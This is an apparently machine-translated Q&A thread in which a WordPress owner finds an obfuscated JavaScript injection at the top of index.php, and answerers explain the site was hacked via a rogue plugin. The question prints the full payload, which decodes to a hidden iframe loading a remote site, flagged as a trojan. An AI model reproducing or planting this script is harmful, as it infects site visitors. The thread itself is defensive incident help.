js在我的index.php開始時在wordpress

Question

我收到了一個頭文件錯誤，同時調查我在我的index.php開頭找到了這兩個根索引和wp-admin。蛤蜊AV掃描沒有發現病毒。

<script>if(window.document)aa='0';aaa='0';if(aa.indexOf(aaa)===0){ss='';try{new document();}catch(qqq){s=String;f='f'+'r'+'o'+'mChar';f+='Code';}ee='e';e=window.eval;t='y';}h=2*Math.sin(3*Math.PI/2);n=[/* lots of numbers here, moved below for security */];for(i=0;i-n.length<0;i++){j=i;ss=ss+s[f](-h*(1+n[j]));}q=ss;e(q);</script> 

的數字： 3.5,3.5,51.5,50,15,19,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53 ，49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23 ，45.5,19.5,60.5,3.5,3.5,3.5,51.5,50,56,47.5,53.5,49.5,56,19,19.5,28.5,3.5,3.5,61.5,15,49.5,53,56.5,49.5,15 ，60.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,58.5,56,51.5,57,49.5,19,16,29,51.5,50,56,47.5 ，53.5,49.5,15,56.5,56,48.5,29.5,18.5,51,57,57,55,28,22.5,22.5,48,55.5,49,52,56,54.5,54.5,58,22,25 ，55,57.5,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5 ，15,58.5,51.5,49,57,51,29.5,18.5,23.5,23,18.5,15,51,49.5,51.5,50.5,51,57,29.5,18.5,23.5,23,18.5,15,56.5 ，57,59.5,53,49.5,29.5,18.5,58,51.5,56.5 ，51.5,48,51.5,53,51.5,57,59.5,28,51,51.5,49,49,49.5,54,28.5,55,54.5,56.5,51.5,57,51.5,54.5,54,28,47.5 ，48,56.5,54.5,53,57.5,57,49.5,28.5,53,49.5,50,57,28,23,28.5,57,54.5,55,28,23,28.5,18.5,30,29,22.5 ，51.5,50,56,47.5,53.5,49.5,30,16,19.5,28.5,3.5,3.5,61.5,3.5,3.5,50,57.5,54,48.5,57,51.5,54.5,54,15,51.5 ，50,56,47.5,53.5,49.5,56,19,19.5,60.5,3.5,3.5,3.5,58,47.5,56,15,50,15,29.5,15,49,54.5,48.5,57.5,53.5 ，49.5,54,57,22,48.5,56,49.5,47.5,57,49.5,33.5,53,49.5,53.5,49.5,54,57,19,18.5,51.5,50,56,47.5,53.5,49.5 ，18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,56.5,56,48.5,18.5,21,18.5 ，51,57,57,55,28,22.5,22.5,48,55.5,49,52,56,54.5,54.5,58,22,25,55,57.5,22,48.5,54.5,53.5,22.5,56.5 ，57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,19.5,28.5,50,22,56.5,57,59.5,53 ，49.5,22,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,29.5,18.5,51,51.5,49,49,49.5,54,18.5,28.5,50,22,56.5 ，57,59.5,53,49.5,22,55,54.5,56.5,51.5,57,51.5,54.5,54,29.5,18.5,47.5,48,56.5,54.5,53,57.5， 57,49.5,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,53,49.5,50,57,29.5,18.5,23,18.5,28.5,50,22,56.5,57， 59.5,53,49.5,22,57,54.5,55,29.5,18.5,23,18.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57， 49.5,19,18.5,58.5,51.5,49,57,51,18.5,21,18.5,23.5,23,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56， 51.5,48,57.5,57,49.5,19,18.5,51,49.5,51.5,50.5,51,57,18.5,21,18.5,23.5,23,18.5,19.5,28.5,3.5,3.5,3.5,49， 54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38， 47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,22,47.5,55,55,49.5,54,49,32.5,51,51.5,53， 49,19,50,19.5,28.5,3.5,3.5,61.5

編輯：我已經註釋掉了JavaScript，因爲它觸發了我的Eset AV：JS/Iframe.BQ木馬。

Answer 1

我有完全相同的東西。結果發現有一個我沒有安裝的新插件。 wp-content/plugins/ToolsPack/ToolsPack.php

確保你做了一個乾淨的WP安裝並重新安裝了所有你使用的插件減去這一個。 ：） 不好的東西。

Answer 2

你被黑了。如果您使用的是Clam AV，則不會掃描您的虛擬主機帳戶或本地主機服務器。檢查您的網站http://sitecheck.sucuri.net/scanner/

見FAQ: My site was hacked « WordPress Codex和How to completely clean your hacked wordpress installation和How to find a backdoor in a hacked WordPress和Hardening WordPress « WordPress Codex.告訴你的虛擬主機。改變所有passswords。